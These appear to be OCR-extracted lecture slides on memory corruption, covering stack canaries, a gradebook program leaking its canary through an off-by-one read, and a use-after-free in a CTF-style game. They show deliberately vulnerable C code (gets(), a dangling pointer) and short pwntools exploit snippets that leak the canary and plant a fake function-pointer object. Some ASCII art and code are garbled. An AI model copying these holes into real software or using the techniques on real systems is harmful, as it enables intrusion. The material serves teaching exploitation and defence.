Canary-based Stack Protection

FuncUnderAttack:

```
Do some work

if (Canary == OrigCanaryValue)

ret // return as usual

else

exit // terminate program
```

int P	
int Q	
Buffer[256]	
Saved EBP	
Canary	
Return Address	
Parameter 1	
Parameter 2	





gdb-peda\$ checksec

CANARY : ENABLED

FORTIFY : disabled


NX : ENABLED

PIE : disabled

RELRO: FULL











```
Gradebook Program Menu

1. Print gradebook

2. Print individual grade

3. Change Letter Grade

0. Exit

CMD >>> 3
```

```
case 3:
    printf("Enter entry# >>> ");
    fflush(stdout);
    if (fgets(output, 9, stdin) == NULL)
        exit(0);
    sscanf(output, "%d", &idx);
    /* We have 7 students */
    if (idx < 7){
        printf("Enter the new letter grade >>> ");
        fflush(stdout);
        gets(gradebook[idx].letter_grade);
    }
    else
        printf(RED "Out of index\n" RST);
```





*** stack smashing detected ***: <unknown> terminated

Canary won't let return, if the ret addr is overwritten





SP Stack Offset 	Content	
	Gradebook[0] Gradebook[1]	
 -80	 Gradebook[6]	
	Canary	
-16	Saved_RBP	
-8	Saved_RBX	
+0	Saved_RIP 	





2nd vulnerability: Off-by-one memory read

```
case 2:
  printf("Enter entry# >>> ");
  fflush(stdout);
  if (fgets(output, 9, stdin) == NULL)
    exit(0);
  sscanf(output, "%d", &idx);
  /* We have 7 students */
  if (idx <= 7)
    print_individual(&gradebook[idx]);
  else
    printf(RED "Out of index\n" RST);
  break;</pre>
```

```
void print individual(Grade *grade) {
 char output[512];
 int cnt = 0;
 int avg;
 int i;
 cnt += snprintf(output + cnt, 512, "-----\n");
 cnt += snprintf(output + cnt, 512, "StudentID: %d\n", grade->id);
 cnt += snprintf(output + cnt, 512, "HW1 HW2 HW3 HW4 HW5 HW6 HW7\n");
 for (i = 0, avg = 0; i < HW_LEN; i++) {
   cnt += snprintf(output + cnt, 512, "%-3u ", grade->hw grade[i]);
 avg /= HW_LEN;
 cnt +=
     snprintf(output + cnt, 512, "\nLetter grade: %s\n", grade-
>letter grade);
 cnt += snprintf(output + cnt, 512, "-----\n");
 puts(output);
```





- So what?
- By reading the grades of the "ghost student", who doesn't really exist
- We can read past gradebook read the <u>canary</u>





```
Solution.py:
io.recv()
io.sendline("2")
r = io.recv()
io.sendline("7")
r = io.recv()
m = re.search('HW6 HW7\n[0-9]+\ +[0-9]+\ +([0-9]+)\ +([0-9]+)', r.decode())
canary low = int(m.group(1), 10)
canary high = int(m.group(2), 10)
canary = 0 | canary low | canary high << 32
print(f'{canary:#0x}')
# Use this canary in your payload
```





```
MMMMMMMMMMMMMMMMMMMW00,,1kk:.':,..
MMMMMMMMMMMMMMMMMMMMXx;.,,
       .; xXMMMMMMMMMMMMWKk
'dXWKOxoooxOOd;.'
·x
MMMNkc.....
0000ko:..
00,..
MWN0x1:;'...
MMMMMMMNXKOOkxxdc.
```





Temporal Memory Corruption

- Use-After-Free: THE most common type of temporal memory corruption
- What if Thread 3 is to call some function of MyObj?





```
.0
                                                      .dN
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWW.koc; '...........
                                                    .: OWM
                                                   'lonmmm
                                  ..'''',;:ld@NMMMMMM
                               ..OOKNNNWNNWWWWWWWWWWWMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWw.
MMMMMMMMMN0x1:'...
                                          ....:1x0NMMMMMMMMM
                                                .. IONMMMMMM
MMMMMMMXkc'.
MMMMWKo'
MMMXo.
MW0;
Wk'
     .1KWMMMMMXOkkk0NMMMMMMMMMMMMMMMMMMMMMMMMMMMXOk0NMMMMMMMMk0c.
                                                      . 0M
o'
    .kwmmmmmmnl
   .kWMMMMMMMX:
                OWMMMMMMMWd.
   1NMMMN0000x'
                :0000KNMMMMMMMMMMMMMMMMMMK0KWXo; '; dXWK0KNMMMMMXc
  .kMMMMXc.
                   .oWMMMMMMMMMMMMMWk,..cKWWNWMK:..;OWMMMMx.
   .OMMMMK,
                                      .xMMMMWd.
                    CNMMMMMMMMMMMMMNC
  .kMMMMNo....
                ....'xWMMMMMMMMMMMMMMW0c'.,oXWXKXWXo'.'c0MMMMWd.
   cNMMMMWXXXX0,
                cKXXXNWMMMMMMMMMMMMMMMMMMNXNW0c...cKWNXNWMMMMMX;
   .dwmmmmmmx:
                c
                                                       Ω
Κ;
    .dNMMMMMMMNo....'kWMMMMMMNXXXXXXXXXXXXXXXWMMMMMMM0c...cKMMMMMMMX1.
                                                      : X
M0:
     : OWMMMMMWXKKKXWMMMMMMX: .....kNMMMMMMMWXKXWMMMMMMNk.
                                                      :KM
MMKc.
      .:xXWMMMMMMMMMMMWKd,
                                 .;xKWMMMMMMMMMMMMWKd;
                                                    .oXMM
                       .',,,,',,'.
MMMNk,
        .:ok0KXNNNXKOx1;.
                                   .;ox0KXNNNXK0x1;.
                                                   .; OWMMM
MMMMMNk:.
                      .cONWWWWWWWWNk:.
                                                 .cONMMMMM
MMMMMMWKd:.
                   .'cxXWMMMMMMMMMMMWKx:..
                                               .':xKWMMMMMM
MMMMMMMMWKx:.
                 .'ckXWMMMMMMMMMMMMMMWKxc'.
                                             .'ckXWMMMMMMMMMM
```





```
typedef struct character {
    int strength;
    int intelligence;
    int gold;
    Item *item;
} Character;
```

```
typedef struct item {
  char name[16];
  void (*effect)(Character *c);
} Item;
```





```
void buyStrUpPotion(Character *c)
{
    printf("\n***** Buying Strength Up Potion (STR + 10)\n");
    Item *strUpPotion = malloc(sizeof(Item));
    printf("***** Item Object: %p\n", strUpPotion);
    strncpy(strUpPotion->name, "Strength Up Potion", 16);
    strUpPotion->effect = incStr;

    if (c->gold < 50 ){
        printf("You don't have enough gold\n");
        return;
    }
    c->item = strUpPotion;
    c->gold -= 50;
}
```





```
void useItem(Character *c)
{
    printf("\n***** Using Potion\n");
    printf("***** Your character gained +10 STR\n");

c->item->effect(c);
    printf("***** Freeing Item @ %p\n", c->item);
    // Dangling Pointer
    free(c->item);
}
```





```
Dump of assembler code for function useItem:
   0x000000000040128d <+0>:
                                 push
                                        rbx
                                        rbx, rdi
   0x0000000000040128e <+1>:
                                 mov
   0x00000000000401291 <+4>:
                                 lea
                                        rdi,[rip+0x1a3d]
                                                                 # 0x402cd5
   0x00000000000401298 <+11>:
                                 call
                                        0x401040 <puts@plt>
                                 lea
                                        rdi,[rip+0xd94]
   0x0000000000040129d <+16>:
                                                                # 0x402038
                                        0x401040 <puts@plt>
   0x000000000004012a4 <+23>:
                                 call
   0x000000000004012a9 <+28>:
                                        rax, OWORD PTR [rbx+0x10]
                                 mov
   0x00000000004012ad <+32>:
                                        rdi,rbx
                                 mov
   0x00000000004012b0 <+35>:
                                 call
                                        QWORD PTR [rax+0x10]
                                        rsi, QWORD PTR [rbx+0x10]
   0x00000000004012b3 <+38>:
                                 mov
                                        rdi,[rip+0x1a2b]
   0x000000000004012b7 <+42>:
                                 lea
                                                                 # 0x402ce9
   0x000000000004012be <+49>:
                                        eax,0x0
                                 mov
   0x000000000004012c3 <+54>:
                                 call
                                        0x401050 <printf@plt>
   0x000000000004012c8 <+59>:
                                        rdi, OWORD PTR [rbx+0x10]
                                 mov
                                 call
                                        0x401030 <free@plt>
   0x000000000004012cc <+63>:
   0x00000000004012d1 <+68>:
                                        rbx
                                 pop
   0x00000000004012d2 <+69>:
                                 ret
```





```
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                                 lea
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   0x00000000004012d1 <+68>:
                                        rbx
                                 pop
   0x00000000004012d2 <+69>:
                                 ret
```





```
***** Using Potion
***** Your character gained +10 STR
**** Freeing Item @ 0x406ae0
***** Writing Message
**** Message buffer: 0x406ae0
b'**** Sending your msg: aaaabaaacaaadaaa\xd6\x11@\n\n1: Buy Strength Up
Potion\n2: Use Strength Up Potion\
\n3: Send Message\n4: Show Character Stats\n5: View Flag\nq: exit\n>>> '
```





```
payload = b''
payload += cyclic(16)
payload += p64(context.binary.symbols['incStr']
# STR + 50
for i in range(5):
    io.sendline('3')
    print(io.recv(timeout=2).decode('ascii'))
    io.sendline(payload)
    print(io.recv(timeout=2))
    io.sendline('2')
    print(io.recv(timeout=2).decode('ascii'))
    io.sendline('4')
    print(io.recv(timeout=2).decode('ascii'))
print(io.recv(timeout=2).decode('ascii'))
```





- We can trick the dangling pointer to use our "fake" object
- Our fake object can be a fake Strength/Intelligent potions that contain function pointers to incStr/incINT
- We can keep cheating until we reach the required STR/INT to view the flag



